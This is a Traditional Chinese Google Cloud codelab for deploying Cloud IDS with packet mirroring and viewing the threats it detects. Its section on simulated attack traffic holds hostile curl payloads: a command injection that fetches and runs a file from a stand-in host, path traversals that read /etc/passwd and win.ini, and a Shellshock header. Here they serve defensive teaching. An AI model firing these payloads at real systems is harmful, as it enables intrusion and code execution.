1. 簡介
在本研究室中,您將部署 Cloud IDS,這是新一代的進階入侵偵測服務,可針對入侵、惡意軟體、間諜軟體以及指令與控制攻擊提供威脅偵測功能。您將在 Cloud 控制台中模擬多項攻擊並查看威脅詳細資料。
課程內容
- 如何建立 Cloud IDS 端點
- 如何使用 gcloud 指令建立 2 個虛擬機器
- 如何建立封包鏡像政策
- 如何模擬來自虛擬機器的攻擊流量
- 如何在 Cloud 控制台和 Cloud Logging 中查看威脅詳細資料
軟硬體需求
- 具備基本 Linux 指令的知識
2. Cloud IDS 用途
Cloud IDS 提供 Google Cloud 原生的新一代入侵偵測服務 (IDS),客戶能滿足其進階威脅偵測與法規遵循要求,例如 PCI 11.4。這項服務由 Palo Alto Networks 威脅防護技術提供,可提供進階入侵偵測功能。Google Cloud 結合 Google Cloud 世界級的基礎架構與 Palo Alto Networks 的世界級安全性,為客戶提供無可匹敵的全代管進階威脅偵測服務。
客戶遷移到雲端時,安全性是他們的首要考量。他們想要在地端部署環境中擁有類似的安全控制,例如雲端的入侵偵測服務 (IDS)。與部署第三方安全性解決方案及管理基礎架構或自備特徵碼相比,他們非常偏好使用雲端原生代管 IDS 解決方案來簡化部署工作、帶來高效能及最佳化成本。Google Cloud IDS 提供端對端且自動調整資源配置的代管 IDS 服務,讓客戶能花時間分析和減輕威脅,並騰出時間與資源管理基礎架構或威脅特徵碼。
Cloud IDS 可在錶帶外部署,可偵測威脅並發出快訊,但無法封鎖威脅。它會利用 Google Cloud 封包鏡像,建立利用 Palo Alto Network 威脅偵測引擎進行分析的網路流量副本。
3. 程式碼研究室拓撲
圖 1. 這個研究室中 Cloud IDS 部署的高階架構總覽。
4. 設定和需求
自修環境設定
- 登入 Google Cloud 控制台,建立新專案或重複使用現有專案。如果您還沒有 Gmail 或 Google Workspace 帳戶,請先建立帳戶。
- 「專案名稱」是這項專案參與者的顯示名稱。這是 Google API 不使用的字元字串,您可以隨時更新。
- 所有 Google Cloud 專案的專案 ID 均不得重複,且設定後即無法變更。Cloud 控制台會自動產生一個不重複的字串。但通常是在乎它何在在大部分的程式碼研究室中,您必須參照專案 ID (通常稱為
PROJECT_ID
),因此如果您不喜歡的話,可以再隨機產生一個,或者,您也可以自行嘗試看看是否可用。是「凍結」建立專案後 - 還有第三個值,也就是部分 API 使用的專案編號。如要進一步瞭解這三個值,請參閱說明文件。
- 接下來,您需要在 Cloud 控制台中啟用計費功能,才能使用 Cloud 資源/API。執行這個程式碼研究室並不會產生任何費用,如果有的話。如要關閉資源,以免產生本教學課程結束後產生的費用,請按照任「清除所用資源」操作請參閱本程式碼研究室結尾處的操作說明。Google Cloud 的新使用者符合 $300 美元免費試用計畫的資格。
啟動 Cloud Shell
雖然 Google Cloud 可以從筆記型電腦遠端操作,但在本程式碼研究室中,您將使用 Google Cloud Shell,這是一種在 Cloud 中執行的指令列環境。
在 GCP 控制台的右上方,按一下「Cloud Shell」圖示:
佈建並連線至環境的作業只需幾分鐘的時間。完成後,您應該會看到類似下方的內容:
這部虛擬機器都裝載了您需要的所有開發工具。提供永久的 5 GB 主目錄,而且在 Google Cloud 中運作,大幅提高網路效能和驗證能力。這個研究室中的所有工作都可以透過瀏覽器完成。
5. 事前準備
啟用 API
在 Cloud Shell 中,確認您已設定專案 ID
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
啟用所有必要服務
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. 建立虛擬私有雲網路
虛擬私人雲端網路
透過 Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
子網路
透過 Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
私人服務存取權
透過 Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service 連線
透過 Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
防火牆規則
如要允許 IAP 連線至您的 VM 執行個體,請建立下列防火牆規則:
- 適用於您要透過 IAP 存取的所有 VM 執行個體。
- 允許來自 IP 範圍 35.235.240.0/20 的輸入流量。這個範圍包含 IAP 用於 TCP 轉送的所有 IP 位址。
透過 Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
如何允許將標準 HTTP 通訊埠 (TCP 80) 和 ICMP 通訊協定傳送至伺服器:
- 適用於網路標記為「server」的資源
- 允許所有來源的輸入流量
透過 Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
建立 Cloud NAT 執行個體
Cloud Router
透過 Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
透過 Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. 建立 Cloud IDS 端點
在本節中,您會在 us-east1 建立 Cloud IDS 端點,並將嚴重性設為「資訊」。建立 IDS 端點約需 20 分鐘。
IDS 端點
透過 Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
確認已啟動 Cloud IDS 端點
gcloud ids endpoints list --project=$PROJECT_ID
輸出內容 -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. 建立 2 個虛擬機器
在本節中,您會建立 2 個虛擬機器。第一個是與 Cloud IDS 鏡像的網路伺服器。第二個虛擬機器會成為攻擊流量來源。
虛擬機器 1 (伺服器)
透過 Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
虛擬機器 2 (用戶端)
透過 Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. 正在準備伺服器
在這項工作中,您將驗證伺服器,並為用戶端提供良性惡意軟體承載。
透過 Cloud Shell 使用 SSH 登入 VM
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
確認網路服務正在執行
sudo systemctl status nginx
輸出內容 - 確認已啟用並執行
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
將目錄變更為 Web 服務
cd /var/www/html/
在網路伺服器上建立良性的惡意軟體檔案
sudo touch eicar.file
貼上內容
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
返回 CloudShell
exit
建立 Cloud IDS 封包鏡像政策
找出 IDS 端點轉送規則,並確認 IDS 端點狀態為「已就緒」。
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
輸出範例:複製「endpointForwardRule」中的值
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
將 IDS 端點轉送規則儲存至變數。
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
封包鏡像政策
透過 Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
確認是否已建立封包鏡像政策
透過 Cloud Shell
gcloud compute packet-mirrorings list
輸出
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. 模擬攻擊流量
透過 SSH 登入攻擊者虛擬機器 (用戶端)
透過 Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
執行下列 curl 要求以模擬惡意流量。
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
離開 VM 以返回 CloudShell
exit
11. 查看 Cloud IDS 偵測到的威脅
前往 Cloud IDS 資訊主頁
導覽選單 >Network Security >Cloud IDS
前往「威脅」分頁。
如您所見,Cloud IDS 擷取了各種攻擊流量概況,並提供每個威脅的詳細資訊。您可能須按一下「重新整理」(如未看到任何威脅) 即可。現在我們要深入探討並檢視威脅詳情。
找出「Bash 遠端程式碼執行安全漏洞」並按一下右側的三點圖示,然後選取「查看威脅詳細資料」
接著我們會在 Cloud Logging 中查看這個事件的詳細資料。按一下向左箭頭 ,即可返回「威脅」頁面。
按一下右側的三點圖示,然後選取「查看威脅記錄」
相同的詳細資料會提供給 Cloud Logging。這樣一來,您就能將記錄檔傳送至 Cloud Storage、Chronicle 或任何 SIEM/SOAR。您也可以建立自訂工作流程,根據快訊執行修復動作,例如:建立可觸發快訊的 Cloud 函式,以及建立/更新防火牆規則來封鎖 IP 位址,或是建立/更新 Cloud Armor 政策。
12. 清除步驟
結束 VM 執行個體 (所有分頁)
exit
從單一 Cloud Shell 終端機刪除研究室元件
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. 恭喜!
恭喜您完成本程式碼研究室。
涵蓋內容
- Cloud IDS 用途
- 網路需求
- 支援的 API
- 已建立 Cloud IDS 端點
- 已部署 2 個 VM
- 產生一些「攻擊」來自用戶端的流量
- IDS 偵測到已驗證的威脅
- 查看威脅詳細資料和記錄檔